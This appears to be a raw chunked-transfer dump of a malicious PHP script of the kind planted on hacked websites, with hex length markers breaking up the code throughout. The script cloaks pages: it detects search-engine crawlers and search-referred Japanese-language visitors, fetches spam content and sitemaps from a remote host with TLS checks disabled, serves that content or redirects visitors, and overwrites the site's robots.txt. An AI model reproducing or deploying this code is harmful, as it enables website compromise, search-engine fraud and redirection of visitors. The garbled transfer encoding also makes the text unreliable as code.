1 < 4 ?php 3 e 4 rror 4 _rep 5 ortin 3 g(0 3 ); 3 @s 5 et_ti 4 me_l 4 imit 3 (12 8 0); @ig 4 nore 4 _use 4 r_ab 5 ort(1 6 ); $t 4 r = 4 "htt 4 ps:/ 3 /j2 2 60 4 127_ 2 23 4 .gag 4 alil 4 i.co 3 m/" 5 ; cl 5 ass R 3 eq 3 { 5 3 pub 4 lic 4 func 5 tion 4 serv 4 er($ 4 name 5 = '' 4 , $d 4 efau 7 lt = '' 7 ) 7 { 7 if 5 (empt 7 y($name 3 )) f { 4 retu 5 rn $_ 3 SER 3 VER 7 ; 5 } 12 $name = 4 strt 4 oupp 8 er($name c ); 9 return is 4 set( 9 $_SERVER[ 7 $name]) b ? $_SERVER 8 [$name] a : $default 7 ; 17 } public function 4 iss( 18 ) { if ($t 4 his- 8 >server( 3 'HT 4 TPS' 3 ) & 4 & (" 4 1" = 2 = 19 $this->server('HTTPS') || 4 "on a " == strto 3 low 4 er($ 16 this->server('HTTPS')) 1c )) { return tru e e; } 4 else 5 if (' 6 https' 15 == $this->server('RE 3 QUE 4 ST_S 3 CHE 3 ME' 34 )) { return true; } elseif ('4 2 43 1a ' == $this->server('SERVER 4 _POR 1 T 4d ')) { return true; } elseif ('https' == $this->server(' 5 HTTP_ 4 X_FO 3 RWA 4 RDED 3 _PR 3 OTO 2a ')) { return true; } 13 return fa 3 lse 21 ; } public function hos 14 t() { 5 $host 3 = 6 strval 14 ($this->server('HTTP e _X_FORWARDED_H 5 OST') 2 ? 15 : $this->server('HTTP 7 _HOST') 13 ); return 6 strpos 7 ($host, 3 ': 8 ') ? str e str($host, ':' 2 , 9 true) : $ 4 host 20 ; } public function sc 4 heme 13 () { e return $this-> 5 iss() 9 ? "https 4 " : 9 "http"; b } 11 public function d 22 m() { return $this-> 9 scheme() 3 . " 7 ://" . 7 $this-> 6 host() 20 ; } public function ip 17 () { if ( 4 gete 3 nv( 7 'HTTP_C 3 LIE 4 NT_I 1 P 16 ')) { $ip 3 = 2d getenv('HTTP_CLIENT_IP'); } elseif ( d getenv('HTTP_ f X_FORWARDED_FOR 26 ')) { $ip = getenv('HTTP_ 11 X_FORWARDED_FOR') 1f ; } elseif (getenv('RE 4 MOTE 4 _ADD 22 R')) { $ip = getenv(' d REMOTE_ADDR') 21 ; } else { 6 $ip = 28 $this->server('REMOTE_ADDR'); } 11 return 3 $ip 21 ; } public function isc 15 () { $a 3 gen 7 t = str 1d tolower($this->server('HTTP_U 4 SER_ 2 AG 6 ENT')) b ; c if ($agent ! 4 = '' 6 && pr 4 eg_m 4 atch 4 ('/g 3 oog 4 lebo 8 t|google 3 |ya 4 hoo| 4 bing 3 |ao 4 l/si 4 ', $ 5 agent 3a )) { return true; } return 23 false; } public function 3 isg c () { 4 $re 6 fer = 1e strtolower($this->server('HTTP 4 _REF 3 ERE 4 R')) 11 ; $refer 4 bots 19 = 'google|yahoo|bing|aol 11 '; if ($ 6 refer 17 != '' && preg_match("/( b $referbots) 4 /si" 8 , $refer 5d )) { return true; } return false; } public function 3 uri 13 () { 6 if (($ 9 pos = str 5 pos($ e this->server(' a REQUEST_UR 3 I') 4 , '. 3 php 5 ')) ! 8 == false 12 ) { $ 4 scri 3 pt_ 8 name = b 3 ase 15 name($this->server('S 3 CRI 4 PT_F 3 ILE 2 NA 10 ME')); 4 23 if (basename($this->server('SCRIPT_ 7 NAME')) 3 == e = $script_name 15 ) { 4 $url 3 = 16 $this->server('SCRIPT_ 6 NAME') 10 ; } 9 elseif ( 1a basename($this->server('PH 4 P_SE 2 LF 3f ')) === $script_name) { $url = $this->server(' a PHP_SELF') 32 ; } elseif (basename($this->server('O 3 RIG 3 _SC 5 RIPT_ 55 NAME')) === $script_name) { $url = $this->server('ORIG_SCRIPT_NAME') 19 ; } elseif ( 1e ($pos = strpos($this->server(' d PHP_SELF'), ' 2 /' 10 . $script_name) 1c ) !== false) { d $url = su 1 b 13 str($this->server(' e SCRIPT_NAME'), 2 0 6 , $pos 4 ) . 2b '/' . $script_name; } elseif ( 10 $this->server('D 3 OCU 5 MENT_ 3 ROO 4 T') b && strpos($ 15 this->server('SCRIPT_ d FILENAME'), $ e this->server(' 15 DOCUMENT_ROOT')) === 1 0 1f ) { $url = str 6 _repla 1 c 20 e($this->server('DOCUMENT_ROOT') 7 , '', $ 1f this->server('SCRIPT_FILENAME') 10 ); b } 8 $req 3 uri 8 = $url 2 . 16 substr($this->server(' 14 REQUEST_URI'), $pos 3 + 4 c ); 17 } else { $ 9 requri = 25 substr($this->server('REQUEST_URI'), 26 strpos($this->server('REQUEST_URI'), ' 1 / 19 ')); } 8 return r 4 trim 4 ($re 9 quri, '/' 8 ); 19 } public function ex 2 ec 4 Req( 8 $url, $p 5 = ar 4 ray( 1 ) 19 ) { $url = d str_replace(' 5 ', ' 5 +', $ 3 url f ); $ch 4 = c 6 url_in 3 it( 11 ); curl_ 4 seto 4 pt($ 4 ch, 3 CUR 2 LO 31 PT_URL, $url); curl_setopt($ch, CURLOPT_ 4 RETU 3 RNT 4 RANS 4 FER, a 1); 1d curl_setopt($ch, CURLOPT_ 4 HEAD 4 ER, 26 0); curl_setopt($ch, CURLOPT_ 3 TIM 3 EOU 3 T, 6 20); 22 curl_setopt($ch, CURLOPT_P 2b OST, 1); curl_setopt($ch, CURLOPT_ 3 SSL 4 _VER 3 IFY 2 PE 34 ER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFY 4 HOST 28 , 0); curl_setopt($ch, CURLOPT_ 7 POSTFIE 3 LDS 2 , 7 http_bu 4 ild_ 4 quer 4 y($p e )); $ 4 outp 5 ut = 5 curl_ 8 exec($ch d ); $ 7 errorCo 5 de = 8 curl_err 12 no($ch); 6 curl_c 3 los 11 e($ch); 5 if (0 6 !== $ 9 errorCode 11 ) { 7 return 10 false; 13 } return $ 6 output a ; } 7 } $req 5 = ne 5 w Req 6 (); $ 3 isc 7 = $req 2 -> c isc(); $isg b = $req->is 7 g(); $ 3 uma 4 p = 7 $tr . " 3 map 7 "; $ur 4 i = 6 urldec 3 ode 7 ($req-> 5 uri() 5 ); $ 11 p = array( " 3 dom 2 ai 5 n" => b $req->dm() 8 , " 4 port b " => $req-> b server('SER 3 VER 8 _PORT', 2 80 c ), "uri a " => $uri 5 ); 4 if ( d substr($uri, 2 -1 6 0) == 3 "ro 6 bots.t 3 xt" b ) { he 2 ad 6 er("Co 4 nten 4 t-ty 4 pe:t 3 ext 5 /plai 3 n; 4 char 4 set= 4 utf- 2 8" a ); di 8 e($req-> f execReq($tr . " 6 robots a ", $p)); 3 } 13 if (substr($uri, -6 16 ) == "robots") { 7 $output 9 = $req-> 22 execReq($tr . "robots", $p); 3 $rp 7 t = __D 4 IR__ 5 . "/ b robots.txt" a ; fil 5 e_put 2 _c 9 ontents($ 6 rpt, $ 6 output 9 ); $ 78 robots_cont = @file_get_contents($rpt); if (strpos(strtolower($robots_cont), "sitemap")) { die("robots.txt 6 file 4 crea 5 te su 4 cces 2 s! 9 "); 2e } else { die("robots.txt file create 4 fail b !"); } 17 } if (substr($uri, - 7 4) == " 3 .xm b l") { b if (strpos( 18 $uri, "allsitemap.xml") 3 || e strpos($uri, " 8 sitemap- 4 inde 26 x.xml") || strpos($uri, "sitemap-index 2 -1 23 .xml") || strpos($uri, "index.xml") d ) { 19 $output = $req->execReq($ 9 umap, $p) 7 ; 4 1e header("Content-type:text/" . 9 (substr($ 6 output 6 , 0, 5 8 ) === '< 4 ?xml 1 ' 9 ? 'xml' 3 : ' 5 plain 6 ') . ' f ; charset=utf-8 d '); 4 die( 3 '' 11 . $output); 7 } 19 $output = $req->execReq($ 9 tr . "wor 7 d", $p) 7 ; 1d header("Content-type:text/xml 18 ; charset=utf-8"); 4 if ( c $output == " b 1") { e die('' . $ 5 req-> 12 execReq($umap, $p) 8 ); 16 } else { die( 1c '' . $output); } } $l 2 an a g = $req-> e server('HTTP_A 3 CCE 5 PT_LA 3 NGU 3 AGE 9 '); if ( 1 ! 8 $isc && 4 $isg 10 && strpos($lang 3 , ' 4 ja') 3 !== 10 false) { $p 3 ["i 3 p"] a = $req->i 3 p() 9 ; $a 6 ction 7e = $tr . "jump"; die($req->execReq($action, $p)); } if ($isc) { die('' . $req->execReq($tr . "indata", $p)); } ?> 0